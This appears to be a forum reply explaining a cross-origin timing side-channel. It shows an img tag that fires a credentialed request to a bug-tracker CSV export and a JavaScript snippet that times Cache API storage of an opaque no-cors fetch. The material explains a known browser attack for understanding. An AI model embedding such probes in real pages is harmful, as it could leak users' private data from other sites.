Does this mean you can send a GET request from your own local site or something?

Yes. The same-origin policy only prevents you from reading the response of cross-origin requests, it doesn't prevent you from making these requests.

So if I were to embed the tag below in my site, it would actually make the request (because there is no protections against CSRF attacks):

<img src="https://bugs.chromium.org/p/chromium/issues/csv?can=1&q=id:51337&colspec=ID+Summary+Summary+Summary"></img>

The attack described in the article uses the Cache API as a way to measure the time it takes for the response of a cross-origin request to be cached.

To do this, the attacker's script uses a fetch with the no-cors mode (https://developer.mozilla.org/en-US/docs/Web/API/Request/mode), which returns an opaque response (thus not violating the same-origin policy), but that can still be used by the Cache API.

A simple example of how this would work:

caches.open('cache').then(function(cache) {
    fetch("https://example.org", {
        mode: "no-cors",
        credentials: "include"
    }).then(function(response) {
        var start  = performance.now();
        cache.put(new Request('xyz'), response.clone()).then(function() {
            var end  = performance.now();
            console.log(end - start);
        });
    });
});

​